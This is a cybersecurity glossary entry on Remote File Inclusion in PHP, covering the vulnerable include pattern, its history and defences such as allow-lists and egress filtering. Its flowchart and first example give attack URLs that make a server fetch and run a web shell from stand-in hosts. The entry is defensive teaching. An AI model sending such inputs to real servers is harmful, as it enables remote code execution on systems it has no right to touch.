Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 1030

Remote File Inclusion (RFI)

Reviewed byCybersecurity entrepreneur & security researcher

What is Remote File Inclusion (RFI)?

Remote File Inclusion (RFI)A vulnerability that lets an attacker force a server to fetch and execute code from a remote URL of their choosing.


Remote File Inclusion (RFI) occurs when an application passes user-controlled input to an include or require function and the runtime is configured to fetch remote URLs. In classic PHP, include($_GET['page']) combined with allow_url_include=On makes the server download a file from an attacker-controlled host and execute it inside the application process, yielding immediate remote code execution. RFI is generally more severe than Local File Inclusion (LFI) because the attacker supplies the payload directly and needs no prior write access to the server.

RFI dominated PHP exploitation in the mid-2000s, when countless CMS and forum components (Mambo/Joomla extensions, phpBB mods, osCommerce add-ons) concatenated user input into include paths; attackers hosted web shells such as c99 or r57 and pointed vulnerable parameters at them. PHP hardened this by shipping allow_url_include off by default since PHP 5.2.0 and deprecating it in 7.4.0, so pure RFI is now rarer — but LFI combined with PHP stream wrappers (php://filter, data://) or log poisoning still reaches code execution.

flowchart LR
  A["User controls path<br/>?page=https://evil/x"] --> B["include / require<br/>with user input"]
  B --> C{"allow_url_include<br/>enabled?"}
  C -->|"On"| D["Server fetches<br/>attacker URL"]
  D --> E["Remote code runs<br/>in app process (RCE)"]
  C -->|"Off + static allow-list"| F["Only known local<br/>modules load: rejected"]

Defences: never build include paths from user input; use a strict allow-list of static module names; keep allow_url_include and allow_url_fopen off; and enforce strict egress filtering so a compromised server cannot fetch external payloads.

● Examples

  1. 01

    A PHP app calling include($_GET['page']) where ?page=https://attacker.example/shell.txt loads and runs a web shell.

  2. 02

    An outdated CMS component pulling a page from a URL parameter, allowing an attacker-hosted PHP file to execute.

● Frequently asked questions

What is Remote File Inclusion (RFI)?

A vulnerability that lets an attacker force a server to fetch and execute code from a remote URL of their choosing. It belongs to the Attacks & Threats category of cybersecurity.

What does Remote File Inclusion (RFI) mean?

A vulnerability that lets an attacker force a server to fetch and execute code from a remote URL of their choosing.

How do you defend against Remote File Inclusion (RFI)?

Defences for Remote File Inclusion (RFI) typically combine technical controls and operational practices, as detailed in the full definition above.

What are other names for Remote File Inclusion (RFI)?

Common alternative names include: RFI.

● Related terms

● See also